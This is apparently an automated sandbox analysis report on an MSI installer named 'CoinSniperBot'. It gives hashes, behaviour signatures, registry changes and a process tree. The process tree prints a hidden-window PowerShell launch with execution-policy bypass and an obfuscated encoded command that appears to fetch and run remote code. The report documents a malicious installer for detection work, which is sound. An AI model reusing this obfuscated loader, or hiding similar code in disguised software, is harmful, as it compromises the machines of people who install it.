Analysis
- max time kernel
149s - max time network
97s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
04/06/2026, 20:48
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e.msi
Resource
win11-20260513-en
windows11-21h2-x64
12 signatures
150 seconds
General
- Target 18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e.msi
- Size 36KB
- Sample260604-zlgaeaev2v
- SHA256 18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e
- MD5 8668bc1d946c1abbdc4441e2c07bf5d4
- SHA1 0769daac23e7bd86832ee919450eafeeb94c50db
- SHA512 12b92fc291465fc3169ce90a217e2c864770e684368036370f20ee823c28ce59b6e2bacacb634bc6a4ff774242ed380c33bbf96517de869e5fd854b85acf2e66
- SSDEEP 384:cvsopD22q1Slv8ifisKtnsKj1AIX0sGeatcq5IClBci:4Tq1gilGV6qmC
- TLSH T10FF2D666F2149631C01613B0093FBBD16B3AAC45CF328116395A374E7F739D26B67AE8
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2116 powershell.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\T: msiexec.exe - Drops file in Windows directory 12 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DFFF1D45933642CF96.TMP msiexec.exe File opened for modification C:\Windows\Installer\e588855.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\SystemTemp\~DF3E05385EE58985A8.TMP msiexec.exe File created C:\Windows\Installer\e588857.msi msiexec.exe File created C:\Windows\SystemTemp\~DF89176A51C85668FA.TMP msiexec.exe File created C:\Windows\Installer\e588855.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{C61E1B15-5A60-46CC-B407-BBC31B06E899} msiexec.exe File created C:\Windows\SystemTemp\~DF9FCB36C5BDA37CCE.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI895F.tmp msiexec.exe - Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 2028 msiexec.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ae741e68cfe5c5110000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ae741e680000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ae741e68000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aae741e68000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dae741e68000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe - Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe - Modifies registry class 20 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\ProductName = "CoinSniperBot" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\Version = "16777216" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\SourceList\PackageName = "18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\51B1E16C06A5CC644B70BB3CB1608E99 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\51B1E16C06A5CC644B70BB3CB1608E99\MainFeature msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\PackageCode = "8F7F93EF870362E449138DD86879D18D" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\Language = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9807955FA6FF406438659CA46A8A2030\51B1E16C06A5CC644B70BB3CB1608E99 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\9807955FA6FF406438659CA46A8A2030 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\51B1E16C06A5CC644B70BB3CB1608E99\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1504 msiexec.exe 1504 msiexec.exe 2116 powershell.exe 2116 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2028 msiexec.exe Token: SeIncreaseQuotaPrivilege 2028 msiexec.exe Token: SeSecurityPrivilege 1504 msiexec.exe Token: SeCreateTokenPrivilege 2028 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2028 msiexec.exe Token: SeLockMemoryPrivilege 2028 msiexec.exe Token: SeIncreaseQuotaPrivilege 2028 msiexec.exe Token: SeMachineAccountPrivilege 2028 msiexec.exe Token: SeTcbPrivilege 2028 msiexec.exe Token: SeSecurityPrivilege 2028 msiexec.exe Token: SeTakeOwnershipPrivilege 2028 msiexec.exe Token: SeLoadDriverPrivilege 2028 msiexec.exe Token: SeSystemProfilePrivilege 2028 msiexec.exe Token: SeSystemtimePrivilege 2028 msiexec.exe Token: SeProfSingleProcessPrivilege 2028 msiexec.exe Token: SeIncBasePriorityPrivilege 2028 msiexec.exe Token: SeCreatePagefilePrivilege 2028 msiexec.exe Token: SeCreatePermanentPrivilege 2028 msiexec.exe Token: SeBackupPrivilege 2028 msiexec.exe Token: SeRestorePrivilege 2028 msiexec.exe Token: SeShutdownPrivilege 2028 msiexec.exe Token: SeDebugPrivilege 2028 msiexec.exe Token: SeAuditPrivilege 2028 msiexec.exe Token: SeSystemEnvironmentPrivilege 2028 msiexec.exe Token: SeChangeNotifyPrivilege 2028 msiexec.exe Token: SeRemoteShutdownPrivilege 2028 msiexec.exe Token: SeUndockPrivilege 2028 msiexec.exe Token: SeSyncAgentPrivilege 2028 msiexec.exe Token: SeEnableDelegationPrivilege 2028 msiexec.exe Token: SeManageVolumePrivilege 2028 msiexec.exe Token: SeImpersonatePrivilege 2028 msiexec.exe Token: SeCreateGlobalPrivilege 2028 msiexec.exe Token: SeBackupPrivilege 3792 vssvc.exe Token: SeRestorePrivilege 3792 vssvc.exe Token: SeAuditPrivilege 3792 vssvc.exe Token: SeBackupPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe Token: SeTakeOwnershipPrivilege 1504 msiexec.exe Token: SeRestorePrivilege 1504 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2028 msiexec.exe 2028 msiexec.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1504 wrote to memory of 1636 1504 msiexec.exe 85 PID 1504 wrote to memory of 2116 1504 msiexec.exe 87 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\18cbac18a54ec8d07f005b241084e7961c1d80122ff1ce514442102fa97b179e.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2028
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:1636
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand IAAkAHUAYgBoAHcAcgBtAGUAcQBwAGsAbABjAD0AJwB1AHIAJwAgADsAcwBlAHQALQBhAGwAaQBhAHMAIABwAHIAbwB0AG8AbgBzACAAYwAkACgAJAB1AGIAaAB3AHIAbQBlAHEAcABrAGwAYwApAGwAOwAkAG0AagByAGYAZQBoAGQAawBuAHgAdQB5AHYAPQAoADcANQAwADQALAA3ADUAMAA4ACwANwA0ADgAOAAsADcANQAwADQALAA3ADUAMAA5ACwANwA0ADgANQAsADcANAA4ADgALAA3ADUAMAAzACwANwA0ADMANQAsADcANAAzADUALAA3ADQANAA0ACwANwA0ADMAMwAsADcANQAwADMALAA3ADQAOQA4ACwANwA0ADkAOQAsADcANAAzADQALAA3ADQAMwA2ACwANwA0ADMAMwAsADcANAA5ADkALAA3ADQAOQAxACwANwA0ADkAOQAsADcANAA1ADAALAA3ADUAMAAyACwANwA0ADQAOAAsADcANAA0ADMALAA3ADQAMwA3ACwANwA0ADMANwAsADcANAAzADcALAA3ADQAOAA4ACwANwA0ADgANwAsADcANAA0ADEALAA3ADQAMwA1ACwANwA0ADMAMgAsADcANAA0ADMALAA3ADQAOAA5ACwANwA0ADQAMwAsADcANAA4ADUALAA3ADQAMwAyACwANwA0ADMAOQAsADcANAA4ADQALAA3ADQAOAA1ACwANwA0ADgAOQAsADcANAAzADIALAA3ADQAOAA0ACwANwA0ADgANgAsADcANAA0ADIALAA3ADQANAA0ACwANwA0ADMAMgAsADcANAAzADcALAA3ADQAMwA4ACwANwA0ADMAOQAsADcANAA4ADcALAA3ADQAOAA3ACwANwA0ADMAOAAsADcANAAzADcALAA3ADQAMwA3ACwANwA0ADQAMAAsADcANAA4ADcALAA3ADQANAA0ACwANwA0ADMANQApADsAJABhAHUAcwBvAHAAYwBnAHIAbQB5AHgAcQA9ACgAJwBlAHIAdABpAGcAbwBzACcALAAnAGcAZQB0AC0AYwBtAGQAbABlAHQAJwApADsAJABqAGYAZQBrAGgAYwB2AGkAcABnAGQAbAA9ACQAbQBqAHIAZgBlAGgAZABrAG4AeAB1AHkAdgA7AGYAbwByAGUAYQBjAGgAKAAkAG4AcABlAHkAcgB0AGIAdwBnAHMAIABpAG4AIAAkAGoAZgBlAGsAaABjAHYAaQBwAGcAZABsACkAewAkAHgAYwBqAGwAYgB6AHkAYQBoAG0AaQBvAGUAdgA9ACQAbgBwAGUAeQByAHQAYgB3AGcAcwA7ACQAeQBnAGsAbAB3AHQAZgA9ACQAeQBnAGsAbAB3AHQAZgArAFsAYwBoAGEAcgBdACgAJAB4AGMAagBsAGIAegB5AGEAaABtAGkAbwBlAHYALQA3ADMAOAA3ACkAOwAkAHIAZwBkAHEAdwBzAGoAdQBmAHoAbQBoAGEAPQAkAHkAZwBrAGwAdwB0AGYAOwAgACQAegB4AGcAcQBmAG0APQAkAHIAZwBkAHEAdwBzAGoAdQBmAHoAbQBoAGEAfQA7ACQAdwBrAG0AZgBzAG8AZQBbADIAXQA9ACQAegB4AGcAcQBmAG0AOwAkAHgAdwBtAGIAegBmAGUAeQBhAGcAawA9ACcAcgBsACcAOwAkAHIAbABjAGEAdwBiAGcAawBkAD0AMQA7AC4AJAAoAFsAYwBoAGEAcgBdACgAKAAoADIAMAAwACAAKwAgADMAMAApACAALQAgACgAMQAwADAAIAArACAAMgA1ACkAKQApACsAJwBlACcAKwAnAHgAJwApACgAcAByAG8AdABvAG4AcwAgAC0AdQBzAGUAYgAgACQAegB4AGcAcQBmAG0AKQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2116
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3792
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e588856.rbs
- Size 7KB
- SHA256 9d06449bdafa6c1eb09d1c15b9fd6a680068d3550457e658e47fe69f37b8cfb9
- MD5 88c73fc38f6b9d5bec7330d508f16aa4
- SHA1 4943ae5c88af6ea4aa3bae2c25421bfa9affb5ca
- SHA512 78b3804810e721ea25343e2c81808bcecd385a2d390aafefa6fda147e97df0a79b8ab779efec2e49567e9456d67cf1b5c317e40b9603090bfe9bfed304ab443b
- SSDEEP 96:zGlaF+vE9SsCXWh4WhW1UNtEaCAEnTCOThqPPUNtEaCAEnTCgjpdhRWhzWhdPKTb:zD3CtOXD2OGNXD2OCMTxO3Wpjl
- TLSH T19BE15481F60154D6E896E775C7071B913BFBC3EA9342234B4C8C90288F53BD95E9618F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ycax2njy.lbo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.6MB
- SHA256 edd88a7bda9cb5dca8cdde573e5de4821f943c2b5871da7fe1e70e7f98bf47da
- MD5 71bb77b34796ffe42a02698f583fd7a4
- SHA1 eb0b38fafd953d787ca7f005e78c78433920f47d
- SHA512 287169e1cf6d5e33ea42508c6b564f7e2f1dd9a55768a01c4298d197f93f04091708f17392e054d0dbacb41518884fda9ac7caa5ce9546c59d69172efe1caa78
- SSDEEP 24576:o2gmSp1EdoO/vvTL4WzOR0X6PqZoQ4nZGWANHJkzq4KYkv3244i0LeZEh:B
- TLSH T11C47F32437F92200E7F39E7CA8F46A23493A7D5B9C15DE8D45411B8E0921FB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{681e74ae-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{d7386a68-a70b-4bb0-9630-285b0c8dc0cd}_OnDiskSnapshotProp
- Size 6KB
- SHA256 11c675921489c8396c498a8cef664f9bf0e5e35940015481f0c0081f0e3f4d47
- MD5 719391a49580ef441e69eb80c9149c49
- SHA1 27a4aa2c46e5545c7f9572bc39a271b1f9539110
- SHA512 f55498c193650972d530bcaa2929e4ad546e2214f01953df943638b6a8bdb4aacc1826ec51f504e790651936c052847327f9cdabbd9256d4d0648ecb9c9b4002
- SSDEEP 96:FKnIIvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpuN:w7b++ZVmN
- TLSH T1D4D188085AF54711E2B3AB7228F58557A477B911EF33CB8E0298238E2670910F975F6F
- MD5 SHA1 SHA512 SSDEEP TLSH